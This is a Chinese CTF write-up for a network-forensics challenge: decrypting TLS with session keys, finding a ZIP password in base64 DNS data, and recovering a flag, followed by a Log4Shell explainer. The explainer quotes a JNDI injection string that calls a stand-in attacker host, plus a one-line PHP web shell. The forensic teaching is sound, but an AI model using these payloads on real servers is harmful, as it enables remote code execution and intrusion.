磐石行动CTFWP
MISC
derderjia
题目:该死,一头狡猾的马攻击了我的服务器,并在上面上传了一个隐秘的文件,请你帮我找到这个文件,来惩治它。
1、拿到一个derderjia.pcapng,导出所有对象,有一个文件中包含TLS 1.3 会话密钥
2、将其导入wireshark的TLS配置中,这样就可以解密TLS的密文
3、追踪TLS流,发现有一个文件上传的数据包
4、将该数据包以原始数据的格式保存到本地,然后删除数据包的首尾,只保留数据本身,发现是PK开头,是一个ZIP数据包,更改为zip后缀,然后解压,发现需要密码,继续回wireshark查找
5、在GET请求/的数据包中,看到在进行UA的jndi注入
6、查找了一下资料,该种注入可能会在DNS种传输数据,那么查看DNS数据,发现存在base64加密数据,
7、解密之后得到压缩包的解压密码
8、解压后得到一个图片,但是没有flag
9、使用随波逐流自动改宽高,得到flag
拓展知识:
1 User-Agent: ${jndi:ldap://attacker.com/a}\r\nLog4Shell (CVE-2021-44228) 漏洞攻击
1. 这是什么攻击?
这是针对 Log4j 2.x 日志库的远程代码执行(RCE)漏洞利用尝试,称为 Log4Shell。
2. 攻击原理
(1) 攻击者构造恶意字符串
http
1 User-Agent: ${jndi:ldap://attacker.com/a}
${jndi:ldap://attacker.com/a}是一个 Log4j 表达式,如果被记录到日志,Log4j 会解析并执行它。(2) Log4j 解析恶意日志
- 当服务器使用 Log4j 2.x 记录
User-Agent时,会解析${jndi:ldap://attacker.com/a}。jndi表示 Java Naming and Directory Interface(Java 命名和目录接口),可以加载远程对象。ldap://attacker.com/a指向攻击者控制的 LDAP 服务器。(3) 服务器连接攻击者的 LDAP
- 受害服务器会向
attacker.com请求恶意代码。- LDAP 服务器返回一个 恶意 Java 类(如反弹 shell、挖矿木马等)。
(4) 服务器执行恶意代码
- Log4j 动态加载并执行攻击者提供的代码,导致 远程命令执行(RCE)。
根据题目描述,攻击者通过 Log4Shell (CVE-2021-44228) 漏洞入侵了服务器,并上传了一个隐秘文件。我们需要在 Wireshark 抓包数据 中分析可能的文件传输行为。
步骤 1:确认攻击流量
首先,检查是否有 JNDI/LDAP 恶意请求(如
${jndi:ldap://attacker.com/...}):
- 在 Wireshark 中按
Ctrl + F搜索${jndi:或ldap://。- 如果找到相关流量,说明攻击者利用了 Log4Shell。
步骤 2:查找文件上传
攻击者可能通过以下方式上传文件:
- HTTP POST 请求(常见于 Web Shell 上传)
- FTP/TFTP 传输(如果服务器开放了文件传输服务)
- Base64 编码传输(隐藏在 HTTP 请求或 LDAP 响应中)
- DNS 隐蔽通道(较少见,但可能用于小文件传输)
方法 1:检查 HTTP 请求
在 Wireshark 过滤器中输入:
text
1 http.request.method == "POST"查看是否有 文件上传(如
.jsp、.php、.war等 Web Shell)。方法 2:检查 FTP/TFTP/SMB
过滤:
text
1 ftp || tftp || smb查找 文件传输(如
STOR、PUT命令)。方法 3:检查 LDAP/JNDI 响应
- 攻击者可能通过 LDAP 返回恶意类(
.class文件)。- 查找 LDAP 响应包,检查是否包含 Java 字节码 或 Base64 编码数据。
方法 4:检查 DNS 隐蔽通道
过滤:
text
1 dns查找 异常长域名(如
aGVsbG8gd29ybGQ=.attacker.com,可能是 Base64 编码文件)。
步骤 3:提取文件
情况 1:HTTP 上传
- 找到 POST 请求,右键 → Follow → HTTP Stream。
- 检查是否有 文件内容(如
<?php system($_GET["cmd"]); ?>)。情况 2:FTP/TFTP 上传
- 找到 STOR/PUT 命令,右键 → Follow → TCP Stream。
- 提取传输的文件数据。
情况 3:LDAP 返回恶意类
- 找到 LDAP 响应包,查看返回的 Java 类数据。
- 可以保存为
.class并用javap -c反编译。情况 4:Base64/DNS 隐蔽传输
提取 Base64 部分(如
aGVsbG8=)。用 Python 解码:
python
1
2 import base64
print(base64.b64decode("aGVsbG8=")) # 输出 b'hello'
步骤 4:分析文件
如果是 Web Shell(如
.jsp、.php),可能包含:php
1 <?php system($_GET["cmd"]); ?>如果是 Java 类,可能包含 恶意代码(如反弹 Shell)。
3. 如何使用它们解密流量?
方法 1:Wireshark 解密(推荐)
保存密钥到文件(如
tls-keys.log),格式:text
1
2
3
4 CLIENT_HANDSHAKE_TRAFFIC_SECRET <hex-id> <key>
SERVER_HANDSHAKE_TRAFFIC_SECRET <hex-id> <key>
CLIENT_TRAFFIC_SECRET_0 <hex-id> <key>
SERVER_TRAFFIC_SECRET_0 <hex-id> <key>配置 Wireshark:
Edit→Preferences→Protocols→TLS- 在
(Pre)-Master-Secret log filename指定tls-keys.log。加载抓包文件(
.pcap),Wireshark 会自动解密 TLS 流量。